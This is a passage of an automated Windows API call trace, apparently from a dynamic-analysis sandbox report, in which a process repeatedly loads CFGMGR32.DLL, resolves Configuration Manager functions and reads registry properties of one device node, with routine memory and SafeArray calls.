lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.334] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.334] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.334] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.334] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.334] malloc (_Size=0x18) returned 0x20abc2819a0 [0229.335] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0229.335] malloc (_Size=0x12) returned 0x20abc281c40 [0229.335] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281c40, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281c40, pulLength=0x2dc22fd3f8) returned 0x0 [0229.336] free (_Block=0x20abc281c40) [0229.336] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4474cea4, dwHighDateTime=0x1d9eb0c)) [0229.336] SetEvent (hEvent=0x248) returned 1 [0229.436] malloc (_Size=0x18) returned 0x20abc281ba0 [0229.436] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba79b58) returned 0x0 [0229.436] free (_Block=0x20abc281ba0) [0229.436] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bcf0 [0229.436] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0229.437] SafeArrayGetLBound (in: psa=0x20abba7ffd0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0229.437] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0229.437] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79a30 [0229.437] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0229.437] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0229.437] SafeArrayGetElemsize (psa=0x20abba7ffd0) returned 0x8 [0229.437] SafeArrayGetElement (in: psa=0x20abba7ffd0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0229.437] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4022e0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0229.438] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79a30) returned 1 [0229.439] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bcf0) returned 1 [0229.439] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.439] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.440] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.441] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.441] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.441] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.441] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.441] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.441] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.442] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.442] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.442] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.442] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.442] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.442] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.443] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.443] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.443] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.443] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.443] malloc (_Size=0x18) returned 0x20abc281e00 [0229.444] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0229.444] malloc (_Size=0x38) returned 0x20abc280fd0 [0229.444] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc280fd0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc280fd0, pulLength=0x2dc22fd3f8) returned 0x0 [0229.445] free (_Block=0x20abc280fd0) [0229.445] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.445] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x44856b6f, dwHighDateTime=0x1d9eb0c)) [0229.446] SetEvent (hEvent=0x248) returned 1 [0229.451] malloc (_Size=0x18) returned 0x20abc2819a0 [0229.451] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0229.451] free (_Block=0x20abc2819a0) [0229.451] malloc (_Size=0x18) returned 0x20abc281b00 [0229.451] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abba79b58) returned 0x0 [0229.451] free (_Block=0x20abc281b00) [0229.451] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cff0 [0229.451] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0229.451] SafeArrayGetLBound (in: psa=0x20abba80110, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0229.451] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0229.452] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79520 [0229.452] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0229.452] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0229.452] SafeArrayGetElemsize (psa=0x20abba80110) returned 0x8 [0229.452] SafeArrayGetElement (in: psa=0x20abba80110, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0229.453] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba939f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0229.453] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba939f8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0229.454] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79520) returned 1 [0229.454] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cff0) returned 1 [0229.455] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.455] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.457] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.457] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.457] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.457] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.457] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.458] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.458] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.458] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.458] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.458] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.459] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.459] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.459] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.459] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.459] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.460] malloc (_Size=0x18) returned 0x20abc281e60 [0229.460] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0229.465] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.465] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x448a312e, dwHighDateTime=0x1d9eb0c)) [0229.465] SetEvent (hEvent=0x248) returned 1 [0229.470] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.471] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.471] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.471] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.471] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.471] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.471] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.472] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.472] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.472] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.472] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.472] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.472] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.472] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.474] malloc (_Size=0x18) returned 0x20abc281a80 [0229.474] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0229.474] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.474] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x448a312e, dwHighDateTime=0x1d9eb0c)) [0229.475] SetEvent (hEvent=0x248) returned 1 [0229.589] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.590] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.592] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.593] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.593] malloc (_Size=0x18) returned 0x20abc281ec0 [0229.593] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0229.594] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.594] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x449d4c88, dwHighDateTime=0x1d9eb0c)) [0229.594] SetEvent (hEvent=0x248) returned 1 [0229.599] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.599] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.600] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.601] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.602] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.603] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.603] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.603] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.603] malloc (_Size=0x18) returned 0x20abc281d20 [0229.604] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0229.604] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x449fa5ab, dwHighDateTime=0x1d9eb0c)) [0229.604] SetEvent (hEvent=0x248) returned 1 [0229.610] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.610] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.611] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.611] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.611] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.611] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.611] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.611] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.612] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.614] malloc (_Size=0x18) returned 0x20abc281b00 [0229.614] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0229.618] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x449fa5ab, dwHighDateTime=0x1d9eb0c)) [0229.618] SetEvent (hEvent=0x248) returned 1 [0229.622] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.622] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.622] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.622] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.623] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.623] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.623] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.623] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.623] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.623] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.623] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.624] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.624] GetProcAddress 